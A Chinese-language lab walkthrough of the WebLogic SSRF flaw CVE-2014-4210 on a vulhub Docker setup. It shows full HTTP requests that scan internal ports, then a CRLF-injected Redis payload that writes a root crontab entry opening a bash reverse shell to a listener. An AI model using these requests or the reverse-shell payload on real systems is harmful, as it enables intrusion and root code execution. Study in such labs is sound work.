WebLogic SSRF

时间:2023-03-08 16:01:54

  本文主要记录一下Weblogic SSRF 利用的操作过程。

一、WebLogic SSRF漏洞简介

  漏洞编号:CVE-2014-4210
  漏洞影响:
  版本10.0.2,10.3.6
  Oracle WebLogic Web Server既可以被外部主机访问,同时也允许访问内部主机。可以用来进行端口扫描等。

二、环境介绍

  本次实验的环境使用的是phith0n vulhub 中的Weblogic SSRF

  将vulhub项目git到本地,切换到vulhub/weblogic/ssrf目录下:

2.1 编译及启动测试环境

  下载环境需要费点时间,建议先更换好软件源并更新系统后再使用如下命令:

docker-compose build
docker-compose up -d

  下载,启动之后:

root@starnight:~/vulhub/weblogic/ssrf# sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
15c99ad8d813 vulhub/weblogic "startWebLogic.sh" 33 minutes ago Up 33 minutes 5556/tcp, 0.0.0.0:7001->7001/tcp ssrf_weblogic_1
bd7ff0826028 ssrf_redis "/usr/local/bin/do..." 33 minutes ago Up 33 minutes 6379/tcp ssrf_redis_1

2.2 访问测试

  访问本地机器,这里为: http://192.168.0.12:7001/uddiexplorer/

  WebLogic SSRF

  可以看到,服务已经正常启动。

三、漏洞测试

3.1 端口开放测试

  SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,访问一个可以访问/不能访问的端口得到的结果是不一样的。

  可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type

可访问的端口

  本地机器的7001端口肯定是可以访问的。

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001/ HTTP/1.1
Host: 192.168.0.12:7001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=XQX3hSRp5Jzp6p2PwFTZKFvQcSRG2gnTyvmDWzy5XC4rhrhnvnY3!1711855106
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

WebLogic SSRF

不可访问端口

  如端口7000,此端口并未开放。

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7000/ HTTP/1.1
Host: 192.168.0.12:7001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=XQX3hSRp5Jzp6p2PwFTZKFvQcSRG2gnTyvmDWzy5XC4rhrhnvnY3!1711855106
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

WebLogic SSRF

3.2 注入HTTP头,利用Redis反弹shell

  Weblogic的SSRF可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。(参考链接一中有些笔误)

  先探测一下内网中:172.*.*.*  的redis服务器,我们可以用上3.1的端口探测,来探测Redis 6379端口。

探测端口

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/ HTTP/1.1
Host: 192.168.0.12:7001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=XQX3hSRp5Jzp6p2PwFTZKFvQcSRG2gnTyvmDWzy5XC4rhrhnvnY3!1711855106
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

WebLogic SSRF

  由此,我们知道docker环境中地址172.18.0.2,在端口6379运行Redis 服务。

反弹shell

  在本地局域网的一台机器192.168.0.3上进行监听:nc -lvv 1337 (更改成自己机器的实际地址)

  将如下数据进行Urlencode, 可使用在线工具

test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.3/1337 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save aaa
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.3%2F1337%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: 192.168.0.12:7001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=XQX3hSRp5Jzp6p2PwFTZKFvQcSRG2gnTyvmDWzy5XC4rhrhnvnY3!1711855106
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

WebLogic SSRF

  我们可以看到成功的反弹了shell(反弹shell的过程略微有点慢,稍候...)

WebLogic SSRF

References

  Weblogic SSRF漏洞

  Weblogic 常见漏洞环境的搭建及其利用